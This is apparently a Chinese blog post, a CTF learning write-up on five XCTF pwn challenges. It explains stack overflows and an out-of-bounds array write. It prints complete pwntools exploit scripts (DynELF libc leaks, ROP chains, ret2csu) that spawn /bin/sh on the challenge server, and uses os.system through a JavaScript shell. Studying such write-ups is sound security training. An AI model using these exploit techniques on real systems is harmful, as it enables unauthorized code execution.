pwn学习-攻防世界(二)

0X00 pwn-100

下载文件,只开启了NX保护。

反编译一下,main函数调用了sub_40068E()函数,然后sub_40068E()函数调用了sub_40063D函数,第一个参数为v1,第二个参数为200.

int sub_40068E()
{
  char v1; // [rsp+0h] [rbp-40h]

  sub_40063D((__int64)&v1, 200);
  return puts("bye~");
}

__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
  __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (signed int)i >= a2 )
      break;
    read(0, (void *)((signed int)i + a1), 1uLL);
  }
  return result;
}

在这v1位于rbp-40h处,然后在第二个函数中,对v1进行输入,逐个字符读取,共读取200个字符,造成了溢出。

在程序中没有找到可利用的system函数和/bin/sh字符串,于是我们可以利用DynELF模块来进行泄露。

DynELF的基本利用模板为:

p = process('./xxx')
def leak(address):
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  return data

d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模块 
systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函数的地址

可以借助该模块找到程序使用的libc文件,然后获取system函数,由于不能获取字符串的地址,我们可以利用vmmap在程序中找一个可读可写的地方读入/bin/sh字符串。

exp:

from pwn import *
context.log_level = 'debug'
io = remote('220.249.52.134',58720)
# io = process('../pwn100')
elf = ELF('../pwn100')
main = 0x0400550
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
rdi = 0x400763
gadget1 = 0x40075A
gadget2 = 0x400740
str_addr = 0x601000

def leak(address):
  payload = "a" * 0x48
  payload += p64(rdi)
  payload += p64(address)
  payload += p64(puts_plt)
  payload += p64(main)
  payload = payload.ljust(200,"a")
  io.send(payload)
  io.recvuntil("bye~\n")
  up = ""
  content = ""
  count = 0
  while True:
    c = io.recv(numb = 1, timeout = 0.5)
    count += 1
    if up == '\n' and c == "":
        content = content[:-1] + '\x00'
        break
    else:
        content += c
        up = c
  content = content[:4]
  return content

d = DynELF(leak, elf=elf)
systemAddress = d.lookup('system', 'libc')
getsAddress = d.lookup('gets', 'libc')
print(systemAddress)

payload = 'a' * 0x48 + p64(rdi) + p64(str_addr) + p64(getsAddress) + p64(main)
payload = payload.ljust(200,"a")
io.send(payload)
io.sendline('/bin/sh\x00')

payload = 'a' * 0x48 + p64(rdi) + p64(str_addr) + p64(systemAddress) + 'deadbeef'
payload = payload.ljust(200,"a")
io.sendline(payload)
io.interactive()

0x01 monkey

反编译一下,出来了好多东西,,

直接运行一下程序,显示’js>’,结合程序名字,猜测可以运行js代码。

直接nc连接,输入os.system('ls'),然后os.system('cat flag')即可。

JavaScript shell

0x02 stack2

开启了NX和canary的32位程序。

反编译一下查看源码,先输入要输入的数字的数量,然后输入要输入的数字。

之后有几个选项:
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");

可以发现输入3修改数字以后进行输入时,没有对数组边界进行判断,可能会造成数组的越界修改,然后还找到了名为hackhere()的后门函数,可以修改函数的返回地址返回到hackhere()处,获取shell。

于是接下来我们要寻找保存数字的数组的首地址,然后才能确定返回地址的位置。

根据数组初赋值处的汇编代码,0x080486B1处,eax=&(ebp+v7),栈地址压栈(指针入栈),只读字符串"%d"入栈,输入的数会由指针指向,*(ebp+v7)就是我们的输入,然后&(ebp+v7)赋值给eax寄存器,eax又赋值给ecx,然后mov [eax], cl又将数组的地址存入eax中。

也就是说在这,eax存的就是数组的首地址,那么我们找到main函数返回时的地址,相减就得到了偏移量。

.text:080486AE                 sub     esp, 8
.text:080486B1                 lea     eax, [ebp+v7]
.text:080486B7                 push    eax
.text:080486B8                 push    offset aD       ; "%d"
.text:080486BD                 call    ___isoc99_scanf
.text:080486C2                 add     esp, 10h
.text:080486C5                 mov     eax, [ebp+v7]
.text:080486CB                 mov     ecx, eax
.text:080486CD                 lea     edx, [ebp+v13]
.text:080486D0                 mov     eax, [ebp+i]
.text:080486D3                 add     eax, edx
.text:080486D5                 mov     [eax], cl

使用gdb调试一下。

找到数组首地址。

找到返回时的esp,ret语句时栈顶一定是返回地址。

偏移量:0xffffce3c - 0xffffcdb8 = 0x84

写出exp。

本地打通了,远程显示:sh: 1: /bin/bash: not found。

可以找一下字符串’sh’同样也可以。

exp:

# -*- coding:utf-8  -*-
from pwn import *

io = remote('220.249.52.134',58301)
# io = process('../stack2')

def modify(addr, num):
    io.sendlineafter('5. exit','3')
    io.sendlineafter('which number to change:',str(addr))
    io.sendlineafter('new number:',str(num))

io.sendlineafter('How many numbers you have:','1')
io.sendlineafter('Give me your numbers','1')

modify(0x84,0x50)
modify(0x85,0x84)
modify(0x86,0x04)
modify(0x87,0x08)

modify(0x8C,0x87)
modify(0x8D,0x89)
modify(0x8E,0x04)
modify(0x8F,0x08)

io.sendlineafter('5. exit','5')

io.interactive()

0x03 pwn-200

这题与pwn-100类似,都是利用DynELF模块来找libc。

read函数处存在栈溢出。

ssize_t sub_8048484()
{
  char buf; // [esp+1Ch] [ebp-6Ch]

  setbuf(stdin, &buf);
  return read(0, &buf, 0x100u);
}

利用DynELF模块找到libc后,返回程序的start处中期程序恢复帧栈。

最后调用两个函数并含有参数,所以需要调整栈平衡,read有三个参数,所以需要三次pop,可以利用ROPgadget查找。

exp:

from pwn import *
# context.log_level = 'debug'
io = remote('220.249.52.134',32400)
# io = process('../pwn200')
elf = ELF('../pwn200')

main = 0x080484BE
vul_addr = 0x08048484
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss = 0x0804A020
ret = 0x0804856c
start_addr = 0x080483D0

def leak(address):
    payload = 'a' * (0x6c + 4)
    payload += p32(write_plt)
    payload += p32(vul_addr)
    payload += p32(1)
    payload += p32(address)
    payload += p32(4)
    io.send(payload)
    data = io.recv(4)
    return data

io.recvline()
d = DynELF(leak, elf=elf)
systemAddress = d.lookup('system', 'libc')
print(hex(systemAddress))

payload = 'a' * (0x6c + 4) + p32(start_addr)
io.sendline(payload)
io.recv()

payload = 'a' * (0x6c + 4) + p32(read_plt) + p32(ret)+ p32(1) + p32(bss) + p32(8) + p32(systemAddress) + p32(0) + p32(bss)
io.sendline(payload)
io.sendline('/bin/sh')

io.interactive()

0x04 welpwn

只开启了NX保护。

buf可以读入0x400的空间,但是没有造成溢出。

将buf的地址作为参数传入echo函数,然后逐字节赋值到s2中。s2只有0x10的空间,但是buf最多可以读入0x400的内容,显然可以造成溢出。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-400h]

  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, &buf, 0x400uLL);
  echo((__int64)&buf);
  return 0;
}

int __fastcall echo(__int64 a1)
{
  char s2[16]; // [rsp+10h] [rbp-10h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}

但是在赋值给s2时的for循环处,条件为*(_BYTE *)(i + a1),也就是说不能出现\x00,否则终止读入。而一般的地址末尾都会有\x00,而echo的函数栈处填充的junk字符为0x10个,于是我们可以找一个4个pop的gadget,就可以正常执行我们的rop链了。

函数栈
‘aaaaaaaa’
‘aaaaaaaa’
‘aaaaaaaa’
4_pop(rbp)
‘aaaaaaaa’
‘aaaaaaaa’
‘aaaaaaaa’
4_pop
ROP

利用DynELF模块来找libc(第几个了都。。),然后retcsu即可。

exp:

from pwn import *
# context.log_level = 'debug'
io = remote('220.249.52.134',36043)
# io = process('../wel')
elf = ELF('../wel')

start = 0x400630
pop = 0x40089c
rdi = 0x4008a3
rop1 = 0x40089A
rop2 = 0x400880
puts_plt = elf.plt["puts"]
read_got = elf.got['read']
write_got = elf.got['write']
bss = elf.bss()

def leak(address):
    io.recv(1024)
    payload = 'A' * 24 + p64(pop) + p64(rop1) + p64(0) + p64(1) + p64(write_got)
    payload += p64(8) + p64(address) + p64(1)
    payload += p64(rop2) + 'A'*56 + p64(start)
    payload = payload.ljust(1024,'A')
    io.send(payload)
    data = io.recv(8)
    print "%#x => %s" % (address,(data or '').encode('hex'))
    return data

d = DynELF(leak, elf=elf)
systemAddress = d.lookup('system', 'libc')
getsAddress = d.lookup('gets', 'libc')
print(hex(systemAddress))
print(hex(getsAddress))
io.recv(1024)
payload = 'A' * 24 + p64(pop) + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(bss) + p64(0)
payload += p64(rop2) + 'A'*56 + p64(rdi) + p64(bss) + p64(systemAddress) + 'A' * 8
payload = payload.ljust(1024,'A')
io.send(payload)
io.send('/bin/sh')

io.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值